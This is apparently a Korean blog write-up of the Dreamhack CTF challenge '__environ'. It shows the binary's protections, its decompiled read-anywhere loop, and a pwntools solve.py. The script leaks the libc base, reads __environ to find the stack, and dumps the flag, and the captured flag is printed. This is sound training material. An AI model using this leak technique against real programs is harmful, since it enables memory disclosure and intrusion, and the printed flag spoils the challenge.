Description

    Exploit Tech: __environ에서 실습하는 문제입니다.

    checksec

    iotfragile@iotfragile:~/CTF/__environ$ checksec --file ./environ
    [*] '/home/iotfragile/CTF/__environ/environ'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled

    environ.c

    int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
    {
      int v3; // [rsp+4h] [rbp-41Ch] BYREF
      const char *v4[131]; // [rsp+8h] [rbp-418h] BYREF
    
      v4[130] = (const char *)__readfsqword(0x28u);
      init();
      read_file();
      printf("stdout: %p\n", _bss_start);
      while ( 1 )
      {
        do
        {
          printf("> ");
          __isoc99_scanf("%d", &v3);
        }
        while ( v3 != 1 );
        printf("Addr: ");
        __isoc99_scanf("%ld", v4);
        printf("%s", v4[0]);
      }
    }

    문제 파일과 함께 제공된 libc.so.6로 라이브러리 패치

    iotfragile@iotfragile:~/CTF/__environ$ patchelf --replace-needed libc.so.6 ./libc.so.6 ./environ
    
    iotfragile@iotfragile:~/CTF/__environ$ ldd ./environ
            linux-vdso.so.1 (0x00007fff2bd93000)
            ./libc.so.6 (0x00007f2d6e603000)
            /lib64/ld-linux-x86-64.so.2 (0x00007f2d6e833000)

    Solution

    1. 출력되는 stdout 주소를 통해 libc base 주소를 구해서 environ 주소를 구한다.
    2. Addr: 에서 주소를 입력받을때, environ 주소를 넣으면 스택에 있는 한 주소를 알수 있는데, 이 주소와 flag 문자열이 저장된 스택의 거리를 계산한다.
    3. 계산하고나서, flag 문자열이 저장된 스택 주소를 다시 한번 입력하면 flag를 획득할 수 있다.

    solve.py

    from pwn import *
    #context.log_level = 'debug'
    context.bits = 64
    warnings.filterwarnings('ignore')
    
    #p = process('./environ')
    p = remote('host3.dreamhack.games', 24057)
    
    stdout = p.recvline()
    stdout = stdout.split(b'stdout: ')[1].split(b'\n')[0]
    stdout = int(stdout, 16)
    
    libc_base = stdout - 0x21A780
    print("libc_base: " + hex(libc_base))
    environ = libc_base + 0x221200
    
    p.recvuntil("> ")
    p.sendline("1")
    
    p.recvuntil("Addr: ")
    p.sendline(str(environ))
    
    environ_stack = p.recvuntil("> ")
    environ_stack = environ_stack.split(b'> ')[0]
    environ_stack = environ_stack + b"\x00" * 2
    environ_stack = u64(environ_stack)
    print("environ_stack: " + hex(environ_stack))
    
    p.sendline("1")
    p.recvuntil("Addr: ")
    p.sendline(str(environ_stack-0x1568))
    
    p.interactive()

    Result

    [+] Opening connection to host3.dreamhack.games on port 24057: Done
    libc_base: 0x7f012941c000
    environ_stack: 0x7ffea6110ae8
    [*] Switching to interactive mode
    DH{dd7e95bf7ea608017206757444a1ff168720e0d18ded2aef99558d00e063b8a1}
    > $

    FLAG

    DH{dd7e95bf7ea608017206757444a1ff168720e0d18ded2aef99558d00e063b8a1}

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다